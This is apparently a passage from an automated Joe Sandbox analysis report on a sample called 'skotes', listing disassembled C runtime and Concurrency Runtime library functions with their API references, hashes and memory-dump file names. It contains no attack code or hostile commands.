Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 85f3099422ae14f6c040666a97d54d81b268bc79f9b9e8a82be0276afb9d491c
Instruction ID: 8b8cbd2e86d72fe42f2d1c197da9b1ebb8d6484f8172877708a33fd88ccb4db5
Opcode Fuzzy Hash: 85f3099422ae14f6c040666a97d54d81b268bc79f9b9e8a82be0276afb9d491c
Instruction Fuzzy Hash: 58C18671900E29EFCF25DFA4E8809EEBBBABF54311F14415AE8026B212D770DA51CF91

Function 00624840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00624877
___except_validate_context_record.LIBVCRUNTIME ref: 0062487F
_ValidateLocalCookies.LIBCMT ref: 00624908
__IsNonwritableInCurrentImage.LIBCMT ref: 00624933
_ValidateLocalCookies.LIBCMT ref: 00624988

Strings

S9b, xrefs: 00624925, 0062492E, 0062493F
csm, xrefs: 0062491D

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9b$csm
API String ID: 1170836740-392870675
Opcode ID: 5d687fc6e81ddd4965412393ada74966f39ffef7057a65166e7154169ceedca0
Instruction ID: 2aafa556372457aedbaf2d4dc9715d40df928d215e16dc3ad201cb125a225f3c
Opcode Fuzzy Hash: 5d687fc6e81ddd4965412393ada74966f39ffef7057a65166e7154169ceedca0
Instruction Fuzzy Hash: 70410634E10A299FCF10DF28E884ADE7BB6AF05314F148159F8195B392CB35DA45CF91

Function 00617364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006173B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006173F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0061740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00617419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00617440

Strings

count, xrefs: 0061737E
ppVirtualProcessorRoots, xrefs: 00617438

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: cb2021408de255db066b69184370e80afc20075d87915a4708a85183d64ddea1
Instruction ID: 7fbf7f731456a8a1695cf18da2c0313961f9f957bceff8425460b90a0846a38b
Opcode Fuzzy Hash: cb2021408de255db066b69184370e80afc20075d87915a4708a85183d64ddea1
Instruction Fuzzy Hash: 85216234A00219AFDB14EF54C5959EEBBB7BF49310F1840A9E91597391DB30AE81CF94

Function 0060EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0060EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0060EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0060EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0060EF31

Strings

i`, xrefs: 0060EED0

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i`
API String ID: 1182035702-247970767
Opcode ID: b03b8fcd17513d8741a9fa63f79ec5e162ed2792f3d2697ed493cb6e2b617582
Instruction ID: 1e93655782213a621a10e00eb0b160d68c95a17f615ce8afd5591b253e4d9813
Opcode Fuzzy Hash: b03b8fcd17513d8741a9fa63f79ec5e162ed2792f3d2697ed493cb6e2b617582
Instruction Fuzzy Hash: A1218270C9022A9ADF7CDFA4C4456EFBBF2BF14320F10092DE151A62D1E7B24A84CB55

Function 006178E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00617903

Part of subcall function 00615CB8: __EH_prolog3_catch.LIBCMT ref: 00615CBF
Part of subcall function 00615CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00615CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0061792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00617936

Part of subcall function 00615CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00615D70
Part of subcall function 00615CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00615D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00617982
Concurrency::location::_Assign.LIBCMT ref: 006179A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006179AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006179BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006179ED

Part of subcall function 0061691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00616942
Part of subcall function 0061691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00616965

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: d79870aefa91df80b87af6235c82b5a27082d774b529dec5baa65e1baabf50f7
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 72310430B08255AECF56AA7848927FEBBB79F45300F0C49A9E496D7342DA245DCEC3D1

Function 00634C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00634C98
__alloca_probe_16.LIBCMT ref: 00634D5E
__freea.LIBCMT ref: 00634DCA

Part of subcall function 0062B04B: RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,05320AC3), ref: 0062B07D

__freea.LIBCMT ref: 00634DD3
__freea.LIBCMT ref: 00634DF6

Strings

Zb,mb, xrefs: 00634C26

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
